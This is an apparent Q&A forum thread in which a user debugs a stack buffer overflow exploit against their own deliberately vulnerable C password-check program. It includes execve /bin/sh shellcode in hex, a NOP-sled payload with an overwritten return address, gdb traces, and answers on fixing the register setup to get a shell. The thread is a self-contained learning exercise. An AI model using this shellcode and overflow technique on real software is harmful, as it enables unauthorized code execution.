1

I managed to get shellcode to be pointed to by eip by building my executable without safety measures.

However, it does not appear to execute.

Here is the C source of my vulnerable program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Here is the shellcode I am using:

00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50  1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80                             S......

Here is the buffer I giving my program:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf  ................
00000040: 0c f3 ff bf                                      ....

Here is a part of the stack before the strcpy call (last 4 bytes are the return address):

0xbffff310: 0xb7fff000  0xb7fff918  0xbffff330  0x73777264
0xbffff320: 0x65706173  0x7369626c  0x00706f73  0x73736f70
0xbffff330: 0x656c6269  0x73736170  0x00647277  0x00000000
0xbffff340: 0x00008000  0xb7fb1000  0xbffff378  0x08048523

Here is the same part of the stack after the strcpy call:

0xbffff310: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff320: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff330: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff30c
0xbffff340: 0xbffff30c  0xbffff30c  0xbffff30c  0xbffff30c

Here is the shellcode in memory (being pointed to in the overwritten return address):

0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor    eax,eax
0xbffff327: push   eax
0xbffff328: push   0x68732f2f
0xbffff32d: push   0x6e69622f
0xbffff332: mov    ebx,esp
0xbffff334: push   eax
0xbffff335: push   ebx
0xbffff336: mov    ecx,esp
0xbffff338: mov    al,0xb
0xbffff33a: int    0x80

I set a breakpoint at 0xbffff325 and it gets hit:

(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.

Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325:  xor    eax,eax
   0xbffff327:  push   eax
   0xbffff328:  push   0x68732f2f
   0xbffff32d:  push   0x6e69622f
   0xbffff332:  mov    ebx,esp
   0xbffff334:  push   eax
   0xbffff335:  push   ebx
   0xbffff336:  mov    ecx,esp
   0xbffff338:  mov    al,0xb
   0xbffff33a:  int    0x80
(gdb) i r eip
eip            0xbffff325   0xbffff325

I then step through each instruction and make sure it gets properly executed:

(gdb) x/i $eip
=> 0xbffff325:  xor    eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax            0x0  0
(gdb) x/i $eip
=> 0xbffff327:  push   eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328:  push   0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d:  push   0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332:  mov    ebx,esp
(gdb) x/wx $ebx
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334:  push   eax
(gdb) x/wx $eax
0x0:    Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335:  push   ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336:  mov    ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338:  mov    al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al             0xb  11
(gdb) x/i $eip
=> 0xbffff33a:  int    0x80
(gdb) si
0xbffff33c in ?? ()

However, after making the system call, there is no shell. The program continues execution, trying to read the addresses as instructions, and I get an Illegal instruction error: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? (). What might be the cause of this?

Thanks for any help.

EDIT: The shellcode works with the C wrapper:

yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    ((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$ 
  • Can you execute /bin/sh from the terminal? – rhodeo Dec 8 '16 at 6:25
  • @arman yes. I also tested the shellcode to make sure it worked before trying to use it in my own apps. – Yapoz Dec 8 '16 at 11:54
  • 2
    As I don't have enough reputation to comment, I had to post this as an answer. Sorry.<br> Shouldn't you set edx to 0 also? edx is used as the 3rd argument to the "execve" syscall. <br> Also, are you considering the stack addresses difference between inside and outside GDB, to know better where to point your return address? See this question: How to predict address space layout differences between real and gdb-controlled executions? – Rafael Dec 15 '16 at 14:29
  • Rafael has an important point here. However I don't think edx should be null. It should point to a region that contains null. You could do a "mov edx, esp" after a "push eax". – rhodeo Dec 16 '16 at 16:30
0

sys_execve asks for the following arguments:

  • EBX: Pointer to the command

  • ECX: Pointer to extra arguments

  • EDX: Pointer to extra arguments

  • ESI: Pointer to a pt_regs structure

You have only setted the EBX and the ECX registers. You have to take into account that whatever the program has executed before might have screwed up the EDX and the ESI registers.

You can check this by setting a breakpoint just before the int 0x80 and running info registers in gdb.

For fixing this, you just have to clean the ECX, EDX and ESI registers by setting them to NULL. By doing so, the kernel will assume that you are not giving any arguments or flags.

So before the int 0x80 you just have to add:

xor ecx, ecx
xor edx, edx
xor esi, esi

And after doing that, you should get a nice shell!.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.